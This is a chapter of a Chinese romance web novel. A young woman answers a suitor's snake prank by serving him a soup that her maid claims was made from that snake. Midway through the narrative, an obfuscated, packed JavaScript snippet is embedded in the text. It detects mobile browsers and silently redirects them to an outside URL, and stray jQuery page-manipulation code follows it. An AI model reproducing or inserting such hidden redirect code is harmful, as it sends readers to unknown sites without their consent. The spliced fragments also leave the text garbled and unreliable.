日早，天气渐渐和暖起来。
因惦记着薛婵，程怀珠一早就来了。
可今日她却睡得格外久，院子里落满了灿灿日光都尚未起。
“昨夜她睡得好吗？”
程怀珠轻手轻脚进门，瞧瞧问在整理书卷的云生，得到的却是她的摇头。
“虽说稳定不少，可是几乎整夜都翻来覆去，约莫着天擦亮方才睡下。”
云生这样说，程怀珠算了算：“那岂不是才睡不到两个时辰。”
“就是啊......”
见她眉头紧皱，她也不由得叹了口气。
外头又起了一阵说话声，云生一开门，初桃和莹月正哼哧哼哧搬着个竹筐上石阶。许是太重，两人一时间脱手，竹筐重重砸在地上，声音震得门都颤了颤。
云生赶紧出去，虚掩上门：“这大早上的，你俩搬什么竹筐。”
初桃道：“不是我们想搬，这东西是武安侯府送来的。”
她一提这个，云生就火大：“这又是送了什么好‘宝贝’来，还嫌做得不过分！”
莹月赶紧捂着她的嘴，初桃伸出手指“嘘”了几声。
云生抱臂：“就该给这筐扔了！”
两人劝她：“知道你生气，可这东西也不好拒了。再说了，也不知道里头是什么呢，也等姑娘看了再做决定呀。”
“既然送来了，就放那儿吧。”
薛婵的声音传出来，几人才觉身侧的窗子被支了起来，而她站在窗前。
不多时，门被打开。薛婵一身素衫拢着削薄峭拔的身体，眉眼尽是疲倦地走出来。
程怀珠看那竹筐大，竟有一尺宽，半尺高，落地声沉闷：“这又是送了什么‘好东西’来？”
薛婵：“打开吧”
初桃这才依她地话，掀开竹筐的盖子，清甜果香立刻溢出，露出竹筐里的东西来。
是一筐圆润硕大的枇杷。
这本不是枇杷当季的时节，如今才堪堪三月中，市面上常见的枇杷大多要初夏时才成熟。
可这一簇簇、黄澄澄、粲若金珠，夹着碧绿叶子。
果子顶上有张小小的方签。
薛婵拿起来，上头写着：“愿君多享用，康健长顺遂。”
尾处角落里仍旧是一方印章，猫郎君正垂着头，毕恭毕敬作揖。
程怀珠立刻让人去洗一枝枇杷：“还算有良心，也不枉我在郑娘子面前掉下的那些泪了。”
外头洗净了一盘枇杷进来，程怀珠拽着薛婵进屋，坐下就开始剥枇杷。
枇杷那薄薄的外衣被轻松剥下来，露出澄黄饱满的果肉，汁水还淌了她一手。
程怀珠将一颗枇杷分成两半，剃掉里头褐色的果核，自己先吃了一瓣。
果肉入口，凉润清甜。
“这枇杷真甜，比咱们园子里那棵好吃太多了。”
她说着又将另一半喂进薛婵嘴里，一边剥新枇杷，一边笑眯眯问道：“怎么样？好吃吧。”
薛婵点了点头：“确实不错”
她又吩咐云生：“你们将这些枇杷分成四份，舅舅舅母母一份，怀珠一份，剩下的除了我的，都拿出去给丫头们尝尝吧。”
薛婵放下那张笺，说了句：“罢了。”
程怀珠坐在一旁剥枇杷，剥一个吃一个，满手都是汁水：“你就这么原谅他了？”
她这一问，问得薛婵有些疑惑不解：“本就不是真病，如今他也道歉了，又送了赔礼。我又何必不依不饶呢？”
明夏将丝帕浸了水，半拧干递给程怀珠，程怀珠慢慢擦着手：“当真？”
她打量着薛婵的神色，可是她平静如常。
薛婵坐下来，慢慢吃着那满满一盏程怀珠给她剥的枇杷，轻声道：“云生，你去打听打听江二公子一般都什么时候回府，他送了这样的礼，咱们要道声谢才是。”
程怀珠开口：“他这几日都不在府上的。”
薛婵：“嗯？”
程怀珠没有抬眼看她，只是继续剥枇杷：“赴宴时听说江家那位戍守凉州的江刺史回京了，江二郎此时多半出城接去了。”
薛婵翻书的手一顿。
说起来，这位江大人还于薛承淮有恩。
十年前与西戎一战，她父亲还只是负责押送粮草的小官。中途遇上了敌寇，上头的官员被将领被打得丢下粮草四处逃窜。
只剩薛承淮冒死领着几个人逃出去，拼死押送粮草到朝溪城，只是由于人手不够，加上情况复杂。
临近时，才遇上前来支援朝溪的江世羽。
粮草耽误了几日。
最终，那朝溪的陈太守宁死不降，死守城外，最后自刎谢罪。全家，只剩一个四岁的幼子。
皇帝震怒，薛承淮被押解进京，等候问斩。
关键之时，江世羽一封书信呈送京中。薛承淮这才免于一死，还一身清白。
可是........
她娘却早就因奔走而动了胎气，最后难产崩逝在薛婵眼前。
当时，她七岁。
若非江世羽，她连父亲也要失去了。
薛婵闭上眼，吐出一口气，又道：“既如此，那便让人打听打听，什么时候回来吧。”
程怀珠：“他有错，如今赎罪，你俩已经两清，这谢怎么就非道不可呢？”
薛婵淡淡道：“因为我是个知恩图报之人呀。”
程怀珠冷冷勾唇，睨了她一眼：“少装了，我还不知道你。说吧，你到底想干什么？”
薛婵笑起来，露出皓齿：“不是说了嘛，知恩图报呀。”
程怀珠轻哼，咽下枇杷：“你肯定又在憋着坏呢。”
薛婵笑得愈发灿烂。
——
傍晚，先行回府的江策从颐安堂离开，与又玉在练剑。
不多时，府里人传话：“二郎，程宅的薛姑娘差人来了。”
“啊？”江策收回刀，有些疑惑地皱了皱眉，却也还是道：“带人进来吧。”
小厮便引着个眼熟的丫头进来，江策仔细看了看。确实是薛婵身边的侍女，他记得她叫初桃来着。
“怎么了？你家姑娘可是有什么事吗？”
初桃福身道：“姑娘说，因着上巳节那日公子出手相帮为此负了伤心有歉疚，枇杷金贵，特意让厨娘做了利于养伤的膳食来，还请郎君享用。”
江策眨眨眼，原来是这样，倒还真是他误会了。他有些羞愧，咳了咳道：“薛大姑娘有心了，劳请替我转达谢意。”
初桃上前，将提来的食盒打开，她一份一份取出来搁在桌上。
一小碗荼蘼饭，瓷盏里盛着青绿脆爽的苦荬与鲜嫩的春笋同拌、另一盘鲜香细腻蟹粉豆腐。
初桃继续取，取出一小碟金黄青绿的果子来。
她道：“这是蜜渍桂花杏，姑娘说郎君爱吃甜，特意做了这道小食来。取的是新摘的青杏，去核洗净酿以蜜糖。而这蜜渍的桂花糖是我家姑娘去岁秋上京前，我家老大人特意做的。”
她这样说，江策愈发有些愧疚了，坐在桌前垂头未言。
他小肚鸡肠拿蛇吓她，薛婵却如此宽容，这些羹菜且不解释，他却也能看出来费心。
江策还在无地自容，又玉坐在廊下静静地看着。
初桃取出最后一份，是个瓷盅，估计是汤。
她一边打开，一边道：“姑娘说天气日渐热起来了，您身上的伤也有些难愈。京中擅以重味做肉，不利于养伤。这天香汤，以木犀蔬果与骨肉同炖的，味道清甜鲜爽。”
江策道：“想来这汤，是炖了许久吧？”
初桃舀了小碗汤放在他身前，脆生生回答道：“是呀，这汤虽并不复杂，可却费时。光是如何让骨肉没有一丝腥气，都花费许久呢。”
“多谢”江策立刻接过那碗汤。
初桃退至一旁，道了声：“请”
江策看着眼前这些荤素得宜，精巧用心的菜不知该如何从哪道入手。
初桃微低头，轻声道：“虽不知郎君一向的习惯如何，姑娘是习惯饭前先饮汤，说是宜养胃。”
江策轻声：“这样吗？”
初桃：“嗯”
既然薛婵是这样的习惯，那他也先饮汤好了。
江策端起那碗汤，青瓷碗里汤色清澈、浮着些许葱花与油沫。那骨肉干净清白不见一丝血色，同炖的木犀块晶莹微透，清淡却不寡素。
他想起什么，看向廊下一手年年，一手喜团的又玉道：“一起吃吧，就当吃午饭了。”
又玉径直起身，从院子里出去：“自己吃吧，我去找阿遥了。”
他一走，江策便依着初桃所言，饮了口汤。入口便是蔬果的清甜、而木犀瓜本就带有一股清浅的异香，同融在一起，愈发特别。
这汤炖的，是真的很好。
于是江策又立刻舀起一块软和的骨肉，那肉炖的也是及软连骨头都会随时化在汤里一般。鲜嫩的肉轻轻一抿就从骨头伤脱落，只有肉香与汤的鲜甜并无腥气。
他眼一亮，又舀了一块肉送入口。
那肉看起来与常见的肉并无太大区别，只是口感有些不大一样。
江策讲一碗汤都饮尽了，又自己盛了碗汤。
他边问初桃边送入口：“这是用什么肉炖的，好似不是常见的骨肉。”
初桃轻轻歪头。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508080|176526||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“蛇肉”
江策一怔，抬脸看向初桃。她声音有些轻，江策觉得自己是听错了。
“什么？”
她看起来憨直，说出的话却有些悚然。
“前几日，郎君给姑娘送的那条蛇，难道您忘了吗？”
此时，正在你的碗里哩。
江策整个人僵麻，那碗汤还在他手里捧着正用勺子舀起一块肉，此时停在了半空中。
他看着那肉，好似看见了花花绿绿、五彩斑斓正在自己面前蠕动。整个人都麻了起来，可是自己嘴里还有没咽下去的肉，此时只觉一阵头晕发呕。
“噗”
江策别过脸，正欲吐出来。
谁知初桃见他这样竟气恼了起来。
“从前只当郎君年少不懂和姑娘相处，我家姑娘为那一条佩绶不知打坏了多少络子。从午后打到傍晚，您不领情就算了，竟还送了条蛇来吓我家姑娘。她本就一向身子弱，这回又病了好几日。本念着您受了伤，姑娘在厨房同春娘讨论了许久，亲自看着满意了才送来，没想到又是如此。”
她本来和云生不大一样，云生总是呛他，可是初桃觉得两人总归是要做夫妻的，也会时不时替江策说话。
如今看来，真是不值得。
小丫头说着说着不禁委屈起来，又是气恼又是委屈，眼泪在眶子打转硬是忍着没掉下来。
她有些哽咽，自己擦去了那泪水。
“郎君不喜欢就不喜欢，直截了当说了就是，何必如此羞辱人，当真是枉费我家姑娘一片真心！”
本来要吐的江策见她劈头盖脸一顿说，先是愣了神忘记了要吐这回事，又见初桃那气得要哭的模样，干脆直接吞了下去。
“我、我、我没有，你看我这不是都吃了吗？”他立刻站起来有些手忙脚乱，干脆自己又动手盛了一碗，当着她的面吃尽了，“你要相信我，我真没有。”
初桃也不欲与他争辩，只迅速收好食盒行了个礼就小跑着出了门。
“告辞！”
初桃气呼呼地跑走了，剩江策自己坐在桌前呆滞。
他这是被算计报复了吗？
他是该生气呢？还是不该生气呢？
又玉从走进来，见他如霜打得茄子般，有一搭没一搭夹着蜜煎杏与春盘，愣是没再碰那天香汤。
他垂下头，幽幽问他。
“汤好喝吗？”
江策抬起一张死人脸：“你故意的。”
又玉忍了许久，先是肩膀耸动，随即捧腹大笑起来。
“......”江策瞪了他一眼，夹起一筷子蜜杏，狠狠嚼着，嘴里的杏子好似没有味道。
他心情复杂得很，薛婵这个人他是越发看不明白了。
初桃说她那样费心做了佩绶，如今又如此用心做了这些菜蔬。
南方有吃蛇的，说是补身。
是凑巧？是处心积虑报复？
那她又为什么要做佩绶？
江策觉得薛婵这个人，有时候挺好，有时候挺坏。有时候坦率，有时又虚假。
真真假假，虚虚实实，究竟是怎样的一个人呢？
同样的一天，春闱放榜了。
皇帝决定于四月初七，在浮光池两畔办雅宴。
初桃回去正碰见薛婵等人正在前厅接旨，她就先回了院，气鼓鼓地坐在廊下等薛婵回来。等得她都要睡着了，薛婵才和程怀珠一道进了门。
薛婵温笑道：“都送了？”
初桃立刻抱怨：“那人真是没心，他自己送蛇来吓唬姑娘。又装出一幅怕蛇的样子，当真是令人生气。”
薛婵眉眼弯弯，安抚她：“好啦，这些都是不要紧的，云生还等着你回来陪她去园子里玩儿，快去吧。”
初桃这才又气鼓鼓出去了。
薛婵和程怀珠坐门前下翻花绳，也没说什么。
她默不作声打量着她。
其实不光这一路，自薛婵被吓晕起她就没怎么问过这事儿。
薛婵知道，她是在等自己讲。可是这事其实也没什么好讲的，若说生气，其实她也不生气。
她本不怕蛇，也非处心积虑报复，佩绶也好，菜食也罢，都是自己的心意。
只是江策这人，做起事来着实让人有些无奈，借此敲打敲打也好。
程怀珠终于忍不住开口，问薛婵：“话说，你那天香汤真的是用蛇肉做的吗？”
薛婵缓缓抬起脸，眉眼轻弯。
快四月了，如今白日愈来愈长了。此时还未完全天黑，窗子里还透着浓浓的蓝。于是她的面容在昏暗的暮色里模糊不堪，传来的声音却颇为俏皮。
“你猜”